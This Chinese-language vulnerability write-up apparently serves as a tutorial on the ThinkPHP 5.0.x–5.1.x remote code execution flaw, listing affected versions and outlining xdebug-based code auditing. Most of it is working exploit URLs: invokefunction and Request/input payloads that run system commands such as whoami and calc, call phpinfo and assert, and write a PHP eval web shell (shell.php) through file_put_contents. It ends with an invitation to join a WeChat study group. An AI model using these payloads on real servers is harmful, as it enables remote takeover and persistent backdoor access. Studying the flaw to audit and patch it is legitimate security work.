漏洞名称:ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞
影响范围:ThinkPHP v5.0.5 < 5.0.23,ThinkPHP v5.1.0 < 5.1.31
威胁等级:严重
漏洞类型:远程代码执行
由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。
将TP框架的版本替换到对应的范围即可。这里用的是: 5.1.22
ThinkPHP框架的版本可用通过:$Think.version 在页码输出
http://域名/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://www.tp.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
http://www.tp.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20eval(%24_REQUEST%5B6%5D)%3B%3F%3E
这个需要URL编码
借助xdebug对代码进行断点调试。主要是看这个代码在Thinkphp底层是怎么运行的,以及MVC实现的方式,只要掌握这个基本就能审计代码了。我们拿第一个命令执行来举例:主要审计如何执行到命令的
点断点:
跳出去继续:
然后就是无限进入函数内部,直到:
进去:仔细思考传参
漏洞名称:ThinkPHP 5.1.x 远程代码执行漏洞
影响范围:ThinkPHP v5.1.0 < 5.1.31
威胁等级:严重
漏洞类型:远程代码执行
http://域名?s=index/\think\Request/input&filter=phpinfo&data=1
http://域名?s=index/\think\Request/input&filter=assert&data=phpinfo();
http://域名/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
加下方wx,拉你一起进群学习